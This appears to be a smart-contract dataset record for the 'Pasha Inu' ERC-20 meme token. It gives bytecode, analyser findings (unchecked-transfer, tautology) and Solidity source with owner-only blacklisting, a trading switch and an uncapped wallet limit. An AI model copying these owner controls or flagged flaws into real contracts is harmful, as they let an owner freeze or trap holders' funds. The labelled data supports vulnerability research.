73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120625750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561206d57600080fd5b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600060019150600090505b60038110156121835760001515600f60006014848154811015156120f557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561217657600091505b80806001019150506120d5565b6001151582151514151561219657600080fd5b600092505b6003831015612243576000600f60006014868154811015156121b957fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828060010193505061219b565b505050565b60125481565b60115481565b600360009054906101000a900460ff1681565b600c6020528060005260406000206000915090505481565b60155481565b600061231682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260046020820201600036905014151561249a57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561257f57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141561261c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561261757600080fd5b612836565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156126b957600080fd5b5af115156126c657600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561279657600080fd5b5af115156127a357600080fd5b5050506040518051905050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806128e05750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156128eb57600080fd5b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60135481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008061297883612cc1565b9050601054612992826009546129ec90919063ffffffff16565b11156129e2577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095482604051808381526020018281526020019250505060405180910390a1600091506129e6565b8091505b50919050565b6000808284019050838110151515612a0057fe5b8091505092915050565b6000600a60009054906101000a900460ff16151515612a2857600080fd5b612a7a83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b0f83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b612c6234600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000828211151515612cb657fe5b818303905092915050565b6000806000806000429350612cd5846116f9565b925060009150600090506003831015612dba57600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d5957612d4f600b5487612dc790919063ffffffff16565b9150819450612dbe565b612d6e600b5487612dc790919063ffffffff16565b9150612d85826009546129ec90919063ffffffff16565b90506000831415612da057601254811115612d9f57600091505b5b6001831415612db957601354811115612db857600091505b5b5b8194505b50505050919050565b60008082840290506000841480612de85750828482811515612de557fe5b04145b1515612df057fe5b8091505092915050565b6000809050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612e3b57600080fd5b612e9a601260ff16600a0a63055d4a8002600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509190505600a165627a7a723058202fd282721fae13f96736eab4d8f2e01633466a6f236e20a0d1d9d4018e3ec6c40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,049 |
0x4c08eaa12b4a946e6959beed10e44b2dff30a5eb
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
Pasha Inu
https://t.me/PashaInu
https://twitter.com/PashaInu_Eth
Meet Паша (Pasha) , our President's puppy given to him from the President of Serbia.
Pasha has always been a happy pup but there's one problem....HE FEEDS ON OIL
Pasha NEEDS MORE OIL, so PUTIN must begin an invasion on UKRAINE.
The Kremlin will spend $$$$ to make sure the price of PASHA stays high and he can be receive his full supply of OIL!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Pasha is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pasha Inu";
string private constant _symbol = "PASHA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xEf5082AD0fA473787163B94C7fB748e3720C000A);
address payable private _marketingAddress = payable(0x6542e8170355d5325fa9e967Ba8086e40eC4E418);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610582578063dd62ed3e146105a2578063ea1644d5146105e8578063f2fde38b1461060857600080fd5b8063a2a957bb146104fd578063a9059cbb1461051d578063bfd792841461053d578063c3c8cd801461056d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104dd57600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611fcd565b610628565b005b34801561020a57600080fd5b5060408051808201909152600981527f506173686120496e75000000000000000000000000000000000000000000000060208201525b60405161024d91906120b0565b60405180910390f35b34801561026257600080fd5b50610276610271366004612123565b6106f3565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff36600461214f565b61070a565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004612190565b610773565b34801561038257600080fd5b506101fc6103913660046121bd565b6107ee565b3480156103a257600080fd5b506101fc610894565b3480156103b757600080fd5b506102d66103c6366004612190565b6108df565b3480156103d757600080fd5b506101fc610901565b3480156103ec57600080fd5b506101fc6103fb3660046121d8565b6109bd565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004612190565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c3660046121bd565b610a2c565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b5060408051808201909152600581527f50415348410000000000000000000000000000000000000000000000000000006020820152610240565b3480156104e957600080fd5b506101fc6104f83660046121d8565b610ad0565b34801561050957600080fd5b506101fc6105183660046121f1565b610b2f565b34801561052957600080fd5b50610276610538366004612123565b610d79565b34801561054957600080fd5b50610276610558366004612190565b60106020526000908152604090205460ff1681565b34801561057957600080fd5b506101fc610d86565b34801561058e57600080fd5b506101fc61059d366004612223565b610dda565b3480156105ae57600080fd5b506102d66105bd3660046122a7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f457600080fd5b506101fc6106033660046121d8565b610eab565b34801561061457600080fd5b506101fc610623366004612190565b610f0a565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156106ef576001601060008484815181106106ab576106ab6122e0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e78161233e565b91505061068a565b5050565b6000610700338484611053565b5060015b92915050565b60006107178484846111ab565b6107698433610764856040518060600160405280602881526020016124ad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611797565b611053565b5060019392505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60158054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108c957506013546001600160a01b0316336001600160a01b0316145b6108d257600080fd5b476108dc816117d1565b50565b6001600160a01b0381166000908152600260205260408120546107049061180b565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b03163314610a175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b674563918244f400008111156108dc57601655565b6000546001600160a01b03163314610a865760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6015805491151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601855565b6000546001600160a01b03163314610b895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6004841115610c005760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e203025206160448201527f6e64203225000000000000000000000000000000000000000000000000000000606482015260840161067e565b600e821115610c775760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e64203160448201527f3425000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6004831115610cee5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e2030252060448201527f616e642032250000000000000000000000000000000000000000000000000000606482015260840161067e565b600e811115610d655760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201527f3134250000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600893909355600a91909155600955600b55565b60006107003384846111ab565b6012546001600160a01b0316336001600160a01b03161480610dbb57506013546001600160a01b0316336001600160a01b0316145b610dc457600080fd5b6000610dcf306108df565b90506108dc816118a2565b6000546001600160a01b03163314610e345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60005b82811015610ea5578160056000868685818110610e5657610e566122e0565b9050602002016020810190610e6b9190612190565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610e9d8161233e565b915050610e37565b50505050565b6000546001600160a01b03163314610f055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601755565b6000546001600160a01b03163314610f645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b038116610fe05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161067e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166110ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b03821661114a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0382166112a35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600081116113195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f0000000000000000000000000000000000000000000000606482015260840161067e565b6000546001600160a01b0384811691161480159061134557506000546001600160a01b03838116911614155b156116905760155474010000000000000000000000000000000000000000900460ff166113ef576000546001600160a01b038481169116146113ef5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161067e565b6016548111156114415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161067e565b6001600160a01b03831660009081526010602052604090205460ff1615